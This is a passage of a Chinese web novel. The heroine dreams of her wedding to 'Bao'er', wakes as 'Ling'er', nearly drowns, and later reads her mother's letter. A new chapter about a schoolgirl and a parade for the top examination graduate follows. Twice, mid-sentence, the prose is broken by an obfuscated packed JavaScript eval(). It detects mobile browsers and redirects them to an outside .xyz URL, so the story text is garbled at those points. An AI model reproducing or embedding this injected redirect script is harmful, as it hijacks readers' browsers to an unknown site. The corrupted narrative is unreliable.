三姐姐在一旁调制脂粉,闻言笑道:“你们瞧她,昨儿不睡,今儿不醒,好好的日子眼睛都快睁不开了。” 爹爹的声音从门外传来,语气哽咽,一时辨不出是哭是笑,“娇娇儿,是不是反悔了?要是不想嫁,我们今日便不嫁了。” 娘亲走近门口,立马呸呸两声,“又说胡话!日子好几月前定的,喜帖早就散出去了,迎亲的花轿也进门了。你这个时候说不嫁,不说往来宾客,便是乐善侯府一人一口唾沫星子,都能把你淹得不见影儿。” “那又如何,我就是舍不得娇娇儿。宗亚夫想和我抢娇娇儿,门儿都没有!哎唷哎唷,夫人有话好说……” 绞了面,开了脸,三姐姐为她施粉涂脂,二姐姐为她画眉点朱。柳眉妩百无聊赖,余光四顾,便见寝房张灯结彩,门窗上贴了好几处囍字,不由出声问道:“姐姐们,你们有听到什么声音吗?” 大姐姐奇怪地问:“什么声音?” 柳眉妩凝神听了听,回道:“好像,是谁在找什么人。” 三姐姐挤着眼睛,不知想到什么,促狭笑了起来,“可不就是在找什么人吗。这会子呀,宝儿应该在找今天最好看的新娘子。” 二姐姐也笑起来,打趣道:“可是奇了,我们的长安第一美人,竟还有承认别人最好看的时候。” “娇娇儿,别听二姐挑拨离间!” “你们瞧瞧,三丫头急了。” 柳眉妩没说话,只是掩嘴吃吃地笑,一切尽在不言中。三姐姐作势挽袖,二姐姐连忙避身,大姐姐正要劝和,不等劝和,她已被人扑身挠了上来,“哎唷”“饶命”地笑唤个不停。 柳眉妩素来触痒不禁,这会子躲闪不及,生生挨了好一通痒,笑得喘不过气,干脆伸手挠了回去,不料三姐姐竟节节败退。大姐姐和二姐姐见了,也凑过来,不知是劝架还是参战,也不知到底是谁先动的手,几人很快闹成一团,难舍难分。 娘亲劝好了爹爹,再回来,便是见着这样一幅景象,却并不阻拦。等几人终于消停下来,这才接过如意姑姑递的玉梳子,为她梳发挽髻。 傧相适时唱道:“一梳梳到头,无病又无忧;二梳梳到尾,永结同心佩;三梳有头又有尾,新人荣华共富贵。” 唱音刚落,耳边唢呐声渐闻渐近,爆竹响过三声,恍惚听见一阵脚步声由远及近地来,又很快被拦在新月馆外。 “四驸马稍等,四公主还在梳妆呢。” “无妨,我等着便是。” 捧花行郎指了指停奏的乐师,又指了指虚掩的门,笑着提醒道:“世子,错了。应该让他们继续奏乐,你再赋诗一首,催了妆,便可过得此门。” “娇娇儿既在梳妆,我等便是。催什么催,扫兴。” 蛐蛐儿连忙劝道:“世子,这是婚俗,不是平常。平日里怎样等都行,今日大婚,还是赋诗催妆吧,别误了良辰吉时。” 说完,将一张彩笺递到宝儿手里,宝儿便赋诗道:“昔年将去玉京游,第一仙人许状头。今日幸为秦晋会,早教鸾凤下妆楼。” 丫鬟们收了利市钱,欢欢喜喜地笑着放行。宝儿迫不及待地进门,笑得满面春风,朗声道:“娇娇儿,我来接你了。” 柳眉妩抬眼,透过轻薄荡漾的盖头,依稀可见宝儿红得灼目的绣金喜服。他笑着望她,目光炽热,恍然比身上的红衣还要撩人几分。 傧相却笑道:“四驸马少安毋躁,四公主还没拜别夫人呢。” 宝儿当即道:“不用管我,我等就是了。” 柳眉妩拿着彩笺,朝娘亲行礼道:“今朝我嫁,未敢自专。四时八节,不断香烟。告知神圣,万望垂怜。男婚女嫁,理之自然。有吉有庆,夫妇双全。无灾无难,永保百年。如鱼似水,胜蜜糖甜。” 明明是惯用的吉利话,娘亲听了,却搂着她一连说了三个“好”字,呜呜咽咽,再难成言。姐妹几个抱在一起,也都眼眶湿润,泣不成声。 宝儿凑过来,悄悄捏着她的手心,小声哄道:“娇娇儿别哭。” 柳眉妩抹了泪,也凑近他,小声地问:“宝儿,你有没有听到什么声音?” 宝儿疑惑听了半晌,摇了摇头。 克择官报过时辰,蛐蛐儿递来红绿同心绸,催促道:“世子,吉时到了,牵四公主出阁吧。” 宝儿还是摇头,眨着眼道:“娇娇儿,我背你出去,好不好?” 柳眉妩应好,便由宝儿背出了新月馆,背出了舜华园,又背出了太平相府。可上了花轿坐定,轿夫却久久不动,反而念起讨赏的诗句:“高楼珠帘挂玉钩,香车宝马到门头。花红利市多多赏,富贵荣华过百秋。” 宝儿当即道:“赏,都赏。” 蛐蛐儿连忙拉住他,“世子,别坏了规矩,还没到你赏呢。” 傧相紧赶慢赶跟了来,见状忙让丫鬟分发赏钱,笑盈盈道:“都有都有。赶车抬轿的十贯,行郎五贯,其余各三贯半,见者有份,同喜同乐。” 众人拿了花红利市钱,又说了一通吉利话,这才乐呵呵启程了。柳眉妩端端坐着,行过几条街后,似有所感地掀开盖头,又掀开轿帘,悄悄从窗隙间望去。 路上行人自觉退避两道,脸上无不洋溢着幸福快乐的神色。除了,两男一女,在喜气洋洋的人群中朝她奋力招手,大声喊道:“灵儿!” 那么远,又那么近。柳眉妩看不清他们的面容,却听清了他们的声音,听清了那道奇怪的声音到底在说什么。 “灵儿!” 好似晴天霹雳,柳眉妩被击得头皮发麻,脑袋嗡鸣。这两个字如此陌生,又如此熟悉,明明不认识,又好像舌尖心上过了千百遍般,似曾相识。 可是,她叫柳眉妩,小名娇娇儿。 不叫灵儿。 正百思不得解,又恍然要大悟时,迎亲仪仗停在仙游公主府外。轿夫们躬身作揖,吟诗讨赏道:“仙娥缥缈下人寰,咫尽荣归洞府间。今日门阑多喜色,花箱利市不须悭。” 宝儿正要说话,蛐蛐儿抢在前面回道:“洞府都来咫足间,门前何事苦遮拦。愧无利市堪抛掷,欲退无因进又难。” “蛐蛐儿,别小气。今日本就是我和娇娇儿的大喜日子,理应高兴些,都高兴些。”宝儿坐在马上,随手一挥,“赏,都赏,全都重重有赏。” “谢四公主,谢四驸马,祝二位百年好合,永结同心!” 宝儿听了,乐不可支。 蛐蛐儿却有些无奈扶额,“世子你高兴就好。” 收了赏钱,克择官捧来花斗,里面装着五谷、炒豆、铜钱和彩果,一面念念有词,一面向门而撒。沿街张望的小孩儿见了,仿佛得到指令一般,争相跑来拾取。 柳眉妩奇怪问道:“十三,这是做什么?“ “四公主,这是在撒豆 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16268971|182217||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 谷,压三煞。”十三解释道,“三煞是指青羊、乌鸡、青牛三凶神。凡三者在门,新人不得入,若犯,上损尊长,下无子嗣,故而要以豆谷驱之。” 柳眉妩了然,由宝儿背着下了花轿,踩着青锦褥子直入府门。没走几步,到了中堂,蛐蛐儿又迎过来,向宝儿道:“世子,准备上高座了。” 所谓上高座,便是两椅相背,顶上置一马鞍,新郎跨坐其上,连饮三杯,再经三请三谢,然后下来。柳眉妩知道这个。她见过顾思义和柳小五上高座,因而也想看看宝儿上高座的样子。 却见宝儿三杯喝完,府里的丫鬟小厮高声喊道:“请下来,请下来,驸马驸马莫要待。” 蛐蛐儿见状,带着乐善侯府的一众行郎,当即不甘示弱地大声回道:“不下去,不下去,且看你们要怎样。” 两方你来我往,一声儿高过一声儿,很快闹成一团。 柳眉妩看了一会儿,吩咐厨房备好醒酒汤,便被簇拥着去了新房坐富贵。遣散闲人,她斜躺在美人榻上,留下十三按头揉穴,正舒服时,昏昏欲睡,却又再一次听到那道声音。 她睁开眼,幽幽叹道:“十三,你听到了吗?” “什么?” “有人在叫灵儿。”她看着十三的眼睛。 十三笃定地摇头,“没有。” 十三不会骗她,柳眉妩知道。然而今日,他的话却难以让她信服。因为很快,她除了听到他们叫灵儿,还听到他们疯狂拍打自己的新房门。 …… 门从外面打开了,带进微弱的光。 “灵儿,你醒了吗?” 竹悠然眯起眼,借着檐角灯光,依稀可见榻上躺了个人。那人却仿佛听不到他们拍门喊她一般,睡得正香。她心里纳闷,掏出火折子照明,手一抖,差点将火折子丢到榻上。 竹榻之侧,柳眉妩支着脑袋,合衣躺着,眼睛似阖非阖,身子一动不动,乍一眼便好像三魂去了七魄——不似活物。 竹悠然登时心惊肉跳,一阵悚然。默了半晌,才勉强敛住神色,坐到榻上,牵过柳眉妩的手轻晃,“灵儿,快醒醒,小心着凉。” 灵儿的手好冰,竹悠然心想。 握在手里,恍惚连带着自己的体温一起,越来越低;又像握着一块寒冰裹着的铁,怎么捂也捂不热。竹悠然没由来地心慌,掌中渐渐沁出冷汗,正不知怎么办才好,一阵大力忽然甩开了她。 柳眉妩弹坐起身,大口喘气,好似终于回过魂来。 竹悠然喜形于色,“灵儿,你醒了!” 柳眉妩转过头,看了眼竹悠然,又看了眼杨无咎和杨无名,忽然呜咽一声,掩面而泣,“原来只是一个梦。” 竹悠然舒了口气,俯身将她抱住,安慰道:“没事了,都过去了。灵儿,你是不是被噩梦魇着了?不用害怕,只是一个梦而已。” 柳眉妩倏地闭上眼。 她也多想,只是一个梦啊。 长梦醒来,爹爹南巡没有遇害,平平安安回到了府中。她不用调查巡察手札,每日只要无忧无虑地等着及笄出阁,不会被万箭穿心,也不会死不瞑目。 恍惚间,她想起万佛寺求的那支签文,似是而非,又玄妙无穷,“似僧有发,似俗无尘。作梦中梦,见身外身。” 所以,方才是梦吗? 还是……梦中梦呢? 当时,大觉方丈是怎么解签来着。 柳眉妩睁开眼睛,想起来了。 “休言万事转头空,未转头时皆梦。” 17. 惊喜 许是睡觉梦魇,又或是受风着凉,柳眉妩醒来后昏昏沉沉,没有精神。竹悠然见她形容憔悴,提议送她回去,杨无咎和杨无名自然同意。 自竹里馆到浣花别业,途经百花潭,亭榭通明,蚕市正热闹。数十里丝竹竞奏,笑语喧然,踏青游乐之盛,入夜不休。他们下了马,逆着人流而行,本就艰难,夹岸又有官吏戒严,道路便更显逼仄,稍有不慎就撞到了人。 柳眉妩口说抱歉,忍着肩头痛意,不期然对上一张干枯阴森的脸。 “啊!” 她尖叫一声,甩开了竹悠然的手。 竹悠然被她吓一跳,不明所以地看过去,却见那人佝偻着半个身子,骨瘦如柴,鹤发鸡皮,闻声掩面道:“老身貌丑,吓到了小姐,真是罪过。” “灵儿不怕,没事没事。”竹悠然安慰完柳眉妩,抬头又继续宽慰老人家,“婆婆,我妹妹胆小,平日不怎么见生人,所以才会被吓住的……不是因为您的样貌。” 老妇缓缓放下手,幽幽道:“我见小姐模样,也知小姐胆小,不如买张面具吧。面具有灵,在西戎有性格的意思。小姐胆小,便买张胆大的面具,说不定还能为小姐担些不必要的劫难。” 柳眉妩听她说话,玄机深奥,有些意动,可抬眼看到她手里那张青面獠牙豹眼狮鼻凶神恶煞的面具,却怎么也伸不出手。 竹悠然尴尬地问:“婆婆,这是什么面具呀?看着有些……不同寻常。” “这是十殿阎王中的一殿秦广王,专司人间夭寿生死,统管幽冥吉凶。” 竹悠然听完,也有些伸不出手。 哪有妙龄女子买面具,结果买回张凶神恶煞的阎罗面具的? “今日清明,诸事不宜,又逢九星五黄,更是大凶兆。小姐,你确定不买一张面具,驱邪避凶吗?”老妇定定看着柳眉妩,音色森森,似威胁,又似蛊惑。 柳眉妩意念动摇,想要伸手,可抬眼对上她的视线,却怎么也伸不出手。 “罢罢罢,看来小姐的时候未到,与这面具尚未结缘,不可强求。” 老妇幽幽说完,收回面具,果真不再强求。她别有深意地看了柳眉妩一眼,轻笑一声,举着草把子渐渐走远了。 这么一闹,柳眉妩全然醒了神,又见潭中水戏竞渡,楼船百艘,渐渐起了游玩的兴致。杨无咎见状,招手唤来船家,带着几人去江中水榭观灯赏船。 远远听见一阵锣鼓齐鸣,原是一艘官舫凌波而来,张灯结彩,富丽堂皇,赢得一众好评。四人对坐,且饮且聊,柳眉妩一时不察,三杯两盏下肚,再回神已是眼红耳热,头重脚轻。 她借口起身,倚在栏杆处吹风。夜色温柔,江风温柔,天上水下粼粼绰绰的月儿也温柔。水灯漂流而下,烛火摇曳,似一声清浅的叹息。恍惚间,竟看到爹爹的笑脸。 她心中激荡,直愣愣扑入熟悉的怀抱。 似温暖,又似冰冷。 她兀自沉醉,不省人事。 “灵儿!” 杨无咎见她落水,来不及细想,很快也跳下了水,却径直往水底沉去。 竹悠然惊呼出声:“糟了,大公子也不会水。” 杨无名脱下外裳,入水就近捞起杨无咎。杨无咎吐出一口冷水,口齿不清道:“二弟,去救灵儿。” 杨无名将杨无咎带到水榭下,由竹悠然拉上去。自己再转身泅入水中,寻了一会儿,才将柳眉妩举出水面。 竹悠然控着力气,在柳眉妩背上连拍几下,柳眉妩“哇”一声吐出冷水,咳嗽着悠悠转醒。可是,即便她披上了杨无名干爽的外衣,却还是冷得瑟瑟发抖,牙关也止不住地打颤。 几人不敢耽搁,忙将她送上岸,又快马送回家,小茶和十三早已等在门口了。 “大公子,小姐这是怎么了?” 竹悠然解释道:“灵儿不小心落了水,你们赶快把她扶回房间,用热水擦遍身子,再吩咐厨房煮碗姜汤,喝了睡一觉就好。” 杨无咎犹不放心,补充道:“今晚守夜时,再仔细警觉些。要是发现灵儿情况不对,马上派人去回春堂请薛大夫来。” 杨无名的目光落在沉默不语的十三身上,又不动声色地收回,平静道:“早些回去,早些休息吧。” 小茶一一应下,向三人道了别,才和十三搀着小姐回灵犀院。没走几步,迎面遇见叶茂,只得停步问好。 “回来了。”叶茂瞥了眼柳眉妩的狼狈醉态,语气却出奇平静,无嗔无怪。 “爹爹,晚上好。” 柳眉妩迎风走了一阵,意识渐渐回笼。她本想屈膝向他请安,不料腿心一软,一个趔趄,直直扑倒在地,行了个五体投地的大礼。 叶茂:“……” 小茶和十三急忙将她扶起。 “回来了,就来看看你娘亲。”叶茂咳了一声,先行离开。 小茶和十三只得跟上。 进了祠堂,烟雾缭绕,依稀可辨白幡白烛的虚影。冷风吹过檐角玉铃,叮当作响,自她身后蛇行而上,柳眉妩一个激灵,猛不丁抬头看到神龛上的灵位。 左昭右穆,叶氏列祖列宗她一概不识。她眯着眼,找到最新的灵位,油光发亮,上面新刻着“先室叶门花氏之灵位”,正是花檀。 只是,花檀的灵位旁,还有一块半大不小的灵牌,比之更新更亮,却无名无字。 柳眉妩忽然伸手,指着那块无字灵牌,问道:“那是谁?” “你早夭的姐姐。” 叶茂的声音听来无波无澜。 柳眉妩却猛然意识到,不是如此。 她总以为他是暖阳,是长风,是遥不可及的谪仙人。可是这一刻,她才真真切切地了然,在被一切花哨的标签定义之前,他也只是一个父亲,只是一个平平无奇的凡人。 他也会难过,会痛苦,会苍老。 譬如这一刻的叶茂,在她面前,声音听来无波无澜,半张脸隐在阴影中,另外半张脸却仿佛老了十多岁。 “你骗人。”柳眉妩垂下眼睫,语气平静,声音仿佛不是她自己发出的,“那分明是叶灵儿的灵牌。” “跪下,叩头,上香。”叶茂将三炷香塞到她手心,呵斥一声,“胡说什么?” 柳眉妩脑袋昏沉,依言跪在蒲团上,虔诚叩了三个响头。再起身,将三炷香恭恭敬敬地送入香炉中。 叶茂见她拜完,转身出了祠堂,不再看她泪眼阑珊的脸,只是向守在门外的小茶和十三吩咐道:“小姐醉了,带回去早些休息。” * 许是花檀的在天有灵,又或是小茶的姜汤有用,柳眉妩一夜安眠,直到天亮。夜里下了一阵雨,骤然降温,好在柳眉妩躺在床上,又有汤婆子暖着被窝,受不到凉。 起床之后,院里闲逛一阵,到晚却咳了起来。初时只是嗓子不舒服,便咳几声,到后来,一咳便停不下来,直咳得脸红脖子粗,喘息不定。 叶茂在家待了几日,送来三瓶彩虹糖,一晃眼又不见了人影。御史府和将军府倒是常常来人,陪她说话解闷。说来也巧,明明没有约定,两边却总是错开了来,不会太热闹,又不会太冷清。 乍暖还寒时候,最是冷人,也最懒人。好在闲来无事不从容,柳眉妩每日只要躺在床上,看看医书,听风听雨,听小茶和十三说些奇闻趣事。这一躺,便躺过了三月,躺到了四月,转眼就是公廨堂审的前一日。 将将天明,万物阒然静谧,案上篆烟袅袅如雾,帘外的竹叶沙沙作响。半梦半醒间,柳眉妩觉得热,将一只手放到被子外,迷迷糊糊间被人牵起,又掖过被角轻轻掩住。 她的手指动了动,却不挣脱,只是睁开眼叫人:“宝儿。” “娇娇儿早上好,今日精神可好些了?” 柳眉妩闭着眼点头,继续问:“什么时辰,你就来了?” “卯正了。王爷叫你过去用膳,我等不及,就来得早了些。”宝儿挤眉弄眼地朝她笑,“偷偷告诉你,去了有惊喜哦。” 柳眉妩顿时来了兴趣,天南海北问一通,宝儿却卖起关子,怎么也不肯细说了。柳眉妩拗不过,也不强求,洗漱好了,跟着宝儿去到御史府,远远便见东方凌云在东花厅议事。 她径直过去,九曲十八弯地转到东花厅,客人已经走了,只剩下东方凌云站在窗前,低头翻阅什么。走近去看,是一篇《论治乱疏》。 她囫囵看了两眼,瞥见落款,“他倒幸运,行卷行到二哥哥眼前了。” “若有真才实学,便是行卷延誉又何妨?”东方凌云却笑道,“建官惟贤,位事惟能。自古英雄不问出处,为国取士,也当如此这般,不拘一格。” 柳眉妩不置可否,正要移目,视线却忽然顿住。她伸手拿过底下的诗稿,神色凝重,声音不自觉带了颤,“这也是顾明远的?” “是。” 宝儿凑近去看,不明所以,却忍不住赞道:“虽为《无题》,文字也浅显,却颇有些机锋,可见……欸,娇娇儿你去哪里?跑慢些,注意脚下。” 柳眉妩无暇回话,也没空解释,随便扬了扬手,提着裙摆一溜烟儿便追了出去。好在回廊曲折,顾明远还没走远。 她将将站定,气音还带着喘,却是开门见山地道:“顾公子,那日你也在万佛寺。” 不是问句,是肯定句。 原因无他,只因那首《无题》写道:“谁言万事转头空,未转头时亦梦中。若向梦中寻梦觉,觉来还入大槐宫。” 顾明远听了,神色坦然,点头承认道:“熹家徒四壁,身无长物,幸蒙大觉师父不弃,这才得以寄住寺中温书。清明时节,寺里忙不过来,我便会搭把手,做些力所能及的事。叶小姐可能没印象了,那日小姐的签文,还是我递给小姐的。” 柳眉妩欲言又止。 “我知道小姐想问什么,但很多时候,问题的答案不应外寻,而是内求。”顾明远缓声笑道,“君不见,未转头时是梦,此心安处为家。” 轰然一声,有什么在脑中炸开,半是恍悟半是惊愤。柳眉妩当即眯起了眼,冷声呵道:“顾明远,你算计我!” “叶小姐,此话怎讲?” 刹那间,云消雾散,许多之前不曾在意的细节,忽然变得清晰起来。 南山林,顾明远被竹悠然带走时朝她瞥来的那一眼,四目相对;御史府,她与二哥哥相认前远远看见隔水花厅里的青衫背影,好似回头望了过来;回春堂,小茶说顾明远在帮工,便认识薛大夫和决明;万佛寺,更不必说,他直接承认了自己当时在场。 “少来!”柳眉妩轻哼一声,气极反笑,“南山林,御史府,回春堂,万佛寺,桩桩件件,你敢说你都清清白白?顾明远,可笑你机关算尽,汲汲营营,哪里还有半分文人气度?” 顾明远立如乔松,神色如常,眉眼却冷冽,如化不开的寒天松霜。默了默,他不承认也不否认,只是淡声问道:“不知叶小姐说的文人气度,能换几斗米?能换几斤肉?能换几匹布?又能换得几两钱? “可能让一个青楼女子免受皮肉之苦?可能让一个妙龄少女死而 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16268972|182217||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 复生?可能让一个七旬老妇安享晚年?还是可能,让一个一穷二白的读书人讨回公道? “不能!都不能!不错,我是机关算尽,我也汲汲营营,可我所作所为,不过是为了替我们讨个公道,这有错吗?呵,也对!我确实是错了!毕竟,文籍虽满腹,不如一囊钱。富贵强权之下,何来公道?白衣出头之日,又何其难得!” 柳眉妩冷哼道:“少说这些冠冕堂皇的话,不过是逞口舌之快!你若真有气性,存心改变,便去院试中个秀才,再来谈公道之事。” 顾明远却忽然笑了,“为什么呢?熹一定要中了秀才,才能谈公论道吗?白衣之身,不平则鸣,就一定是逞口舌之快,就活该不被人听见吗?更何况,叶小姐,你又怎知我没中过秀才呢?” 柳眉妩哑然。 顾明远继续道:“熹不要你哀我不幸,也不要你怒我不争。要哀,当哀为善的受贫穷更命短;要怒,则怒造恶的享富贵又寿延。天地不仁,怕硬欺软,所以才会世胄蹑高位,英俊沉下僚。 “我等白衣之身,本来就要走更长更远的路,费尽气力,才能得到他们唾手可及的东西。而他们却嫌我奴籍,夺我功名,轻我贱我,侮我辱我。数年寒窗苦读,一朝化为泡影,难道我也不能为自己讨个公道吗?” 柳眉妩默了半晌,才叹息道:“当然可以。但以白衣之身,不平则鸣,却没有用。没用的声音,伤不了旁人,利不了自己,便不该轻易发出,白白留下话柄,遭人口舌。 “识时务者为俊杰。等顾公子真正走上仕途,入朝为官,才是可以不平则鸣的时候。也希望那个时候,顾公子还能不忘初心,就当今日之事的报酬了。” 今日之事,既是行卷延誉之事,也是设局算计之事。两人心照不宣,相视而笑。 顾明远立得笔直,一阵风过,缓缓折腰,向她恭敬行了一礼。 * 别过顾明远,柳眉妩跟着找来的宝儿再去膳厅,东方凌云早已在了。见她回来,便笑着招呼道:“娇娇儿快来,看,都是你爱吃的。” 柳眉妩笑着应话,牵着宝儿过去,低头瞥一眼桌上的羹汤菜肴,脚步倏然一顿。 “娇娇儿,怎么还站着,是不合胃口吗?” 柳眉妩闻声回头,便见屏风后缓缓飘出一片翠色衣影,暗香浮动。她登时睁大了眼,不可置信地叫人:“大姐姐!真的是你!” 何清如把手里的菜盅递给小八,笑着将她接了个满怀,语气爱怜道:“娇娇儿,瘦了。” “大姐姐,你怎么来了!”柳眉妩紧紧抱住她的腰身,闻到熟悉的芙蕖衣香,吸了吸鼻子,又哽咽道,“你怎么才来呀?” “怎么还哭鼻子,这会儿不怕笑话了。”何清如拿出帕子为她擦泪,温声解释,“自收到二哥的信,我便立马赶来了,前脚到的御史府,后脚宝儿就叫了你来,可没耽搁哦。” 宝儿眨眼笑道:“娇娇儿,是惊喜吧。” 柳眉妩重重点头,忽然想到什么,又左右张望,“大姐姐,顾思义呢?怎么没和你一起来?成都离长安好远的,还不安全,你一个人来的吗?太危险了。” “定远营中有事,把他召回去了,暂时脱不开身。是小八护送我来的,一路上安安稳稳,清清静静,别提多顺遂了。” “那是自然,大姐姐吉人自有天相。”柳眉妩在她怀里蹭了蹭,撒娇又依赖,顺口问道,“娘亲在家还好吗?” “自从听到你的生讯,娘亲的精神好了很多。”何清如说完,从怀里掏出一封信,“对了娇娇儿,这是娘亲写给你的。” 柳眉妩揉了揉眼,接过信缓缓展开,泪珠儿成线掉落,晕开了大团大团的笔墨—— 吾儿娇娇,见字如晤。 犹记初时,吾儿懵懵莽莽,呱呱坠地,我与尔父怜之爱之,奉若明珠。岁月不居,时节如流,及笄之年,忽焉将至,吾儿亭亭玉立矣。 二月十七,千里噩耗,吾儿娇娇,殒命蜀地。天边霞散,掌上珠沉,叹我娇娇,神光不存。呜呼哀哉,老母悲催,唱遍魂兮,不见归来。 生儿父母喜,死儿父母伤,我行岂有亏,儿命何不长?停灵七日,土接尔父之墓,风接凤栖之松,冀儿孩魂,不怕幽壤。 三月十三,又见逍遥来信,却言吾儿已复生焉,借尸还魂乎?其然乎?其不然乎?老母喜极而昏,长梦无涯,却见吾儿命丧山林,飞箭流矢,死不瞑目。元知辛酸苦楚,不与二三子言。 吾儿娇娇,薄命何如?前为柳氏子,今是叶家女,而天苍苍,而地茫茫,而情意何长?老母自然可贺,而故人何在,而叶氏何辜?丧女之痛,如剜肉剔骨,我如之何,叶氏亦如之何。 惟愿吾儿娇娇,敬之爱之,孝之顺之,不是生父,却比生父。锦城虽云乐,不如早还家。老母望穿秋水,盼儿早归。 老母手白。 …… 信不长,柳眉妩一目十行,很快看完,心中却久久不得平复。 何清如看出她的异样,奇怪问道:“娇娇儿,你怎么了?” “我记起来了!”柳眉妩恍然出声,气音急切,“大姐姐,我全都记起来了!三月十三,娘亲说的那日,我也做了一个梦,一个很长很长的梦。当时醒来很多事都记不得了,我也就没当一回事,可是现在,我全都记起来了。” “什么梦?”何清如见她呛得咳个不止,一面拍背,一面劝道,“别着急,娇娇儿,慢慢说。” 柳眉妩便轻轻地,慢慢地,一字一句地说:“我在梦里,见到了娘亲。” 18. 浮生梦 “夫天地者,万物之逆旅也。光阴者,百代之过客也。而浮生若梦,为欢几何?”裴蕤缓声吟罢,笑问堂下的女学生道,“二小姐以为如何?” 何云深款款落笔,颔首作答:“回先生,学生以为,浮生若梦谁非寄,到处能安便是家。” 裴蕤品味一番,抚须点头,唤如意拿来临帖,又惊叹出声:“二小姐楷字娟秀,如簪名花,如观美人,大有卫夫人之风,见之赏心悦目。” “谢先生夸赞。” “只是,闺塾之上,却不必如此风雅。松花笺美则美矣,若不用来唱和酬谢,只是临帖练字,未免过于奢侈了些。” 如意捂嘴笑道:“先生不必多虑,我家小姐不差这些钱。” 裴蕤恍然大笑:“是也,忠义侯府乃高门贵胄,是老夫多嘴了。二小姐,依你方才所说,试问浮生到底是梦是寄?” “李文山有诗,浮生暂寄梦中梦,世事如闻风里风,学生深以为然。人生天地间,如梦又如寄,本来无甚区别。若一定要问区别,私以为一个是觉醒者,一个是远行客,如此而已。” 裴蕤笑着看她。 下一瞬,却见何云深蓦地合上诗集,在卖花声中起身行礼,继续道:“再禀先生,窗外春光大好,学生不忍辜负,便先退下了。先生若有其他指教,明日再说吧。” 裴蕤一愣,“二小姐,你又要早退?” 何云深朝如意递个眼色,两人向裴蕤行了礼,便一溜烟儿跑了出去。待裴蕤回过神来,哪里还有什么踪影。 春风乍起,桌上的诗笺翻飞如翼。裴蕤抬手用云板压住临帖,摇头失笑,“罢罢罢,是福不是祸,是祸躲不过。” * 主仆携手溜出侯府,到了大街,如意有些后怕,担忧道:“小姐,你这个月已经是第五次早退了。” “才五次,又不多。” 如意瞬时苦了脸,“可是今儿才初五呀。” “如意,此言差矣。虽说书声琅琅是好听,可我却觉得,书声还没风声,雨声,甚至是朱雀街上的卖花声好听呢。” “奴婢当然支持小姐,可是老爷那边却不好说。小姐你忘了,老爷昨日才放了狠话,扬言小姐再迟到早退,可就要重重罚你了。” “罚便罚,随便他。”何云深摊开双手,语气不以为意,“如意,你说爹都一把年纪了,又是帝王之师,又是忠义之侯,还总有这么多不切实际的妄想。有了一个皇后女儿还不满足,又想把我也捏成姐姐的模样,可姐姐是姐姐,我是我。他再怎么捶胸顿足,恨铁不成钢,可铁便是铁,钢便是钢。若一定要恨铁成钢,与指鹿为马又有何异?” “小姐总有自己的大道理。”如意幽幽叹气。 “我命由我,不由我爹,当然是怎么快活怎么活了。走吧如意,时候不早了,若再晚些,可要赶不上状元郎游街示众了。” 如意一拍脑门,惊呼道:“哎呀,奴婢差点儿就忘了,今日是柳状元打马游街的日子,小姐早早儿定了自然居的雅间呢。” 依大新旧例,殿试一甲可赐官家仪仗,游街庆祝。状元榜眼探花需穿吉服,佩红花,自朱雀门出,游遍长安四街。 二人随小二上到自然居,游街尚未开始,朱雀街上却已人潮处处,语笑喧阗,先行开路的车马仪仗半点儿挪不动道。 如意凭窗探出半个脑袋,左右张望,又缩了回来,掏了掏耳朵,不甘示弱地道:“小姐,别人家的小姐都备好了瓜果香囊,就等柳状元游街时掷果投香了。咱们也不能丢面儿,奴婢这就去为你买些来。” 何云深笑着允了,“你看着买便好。那些坐地起价,狮子大开口的,就不要了。” “奴婢知道。” 过了半晌,如意悻悻回来,面上犹忿忿不平,想到什么,犹自啐道:“好没意思的小贩!我要买瓜果,他没有,还硬拉着我,要卖我鸡蛋。难道要我买了鸡蛋回来,让小姐拿鸡蛋砸柳状元吗?” 何云深闻言失笑,还没说话,忽听人潮声中传出一声“柳状元来了”。一声落,万声起,平素最讲究雅正端方的长安贵女一叠声儿高喊着“柳状元”,笑音杂沓起伏,一时沸反盈天。 何云深端坐雅间,俯身看着。阳春三月,那状元郎玉面红袍,打马而来,其貌灼灼,不可直视。便是比之曲江郊外的桃源盛景,亦不遑多让。 她蓦地站起身,凭栏看他,双目炯炯,口中喃喃,“积石如玉,列松如翠。真真儿是郎艳独绝,世无其二。” 春风也解意,将她手中的绢帕吹落,不偏不倚覆到状元郎面上。淡雅旖旎的桃花香扑面而来,柳状元掀开帕子,抬头便看到朱栏曲槛后的她。 “上邪!我欲与君相知,长命无绝衰!” 她双手作唢呐状,对他唱出表情达意的诗,热烈又直白。春风吹动檐角玉铃,不及她声色清越,容貌姝丽。 车马仪仗渐行渐远,喧哗声犹此起彼伏,何云深的视线缓缓收回,忽然仰头望天,若有所思。 如意奇怪问道:“小姐,你在看什么?可是要下雨了?” “如意,云上有人。” 如意愕然,抬头再看天上,晴空万里,一碧如洗。别说有人了,便是连云都不见半朵。 “小姐,奴婢没有看到。” 何云深揉揉眼睛,再望天时,方才衣袂飘飖的两位仙人踏云而来,转瞬间又随云而逝,不留痕迹。 只有晴空如镜,亘古照世人,无悲无喜。 * 再回侯府时,下人跪了一地,静默无声。她一进门,古板严肃的忠义侯便抄起戒尺,撸起袖子,满院子追着她跑,直闹得鸡飞狗跳。 萧夫人原在相国寺祈福,打算小住几日,被如意哭着喊着请回去劝架。闹了半天,也劝了半天,最后何云深被关进祠堂,勒令罚跪抄书。 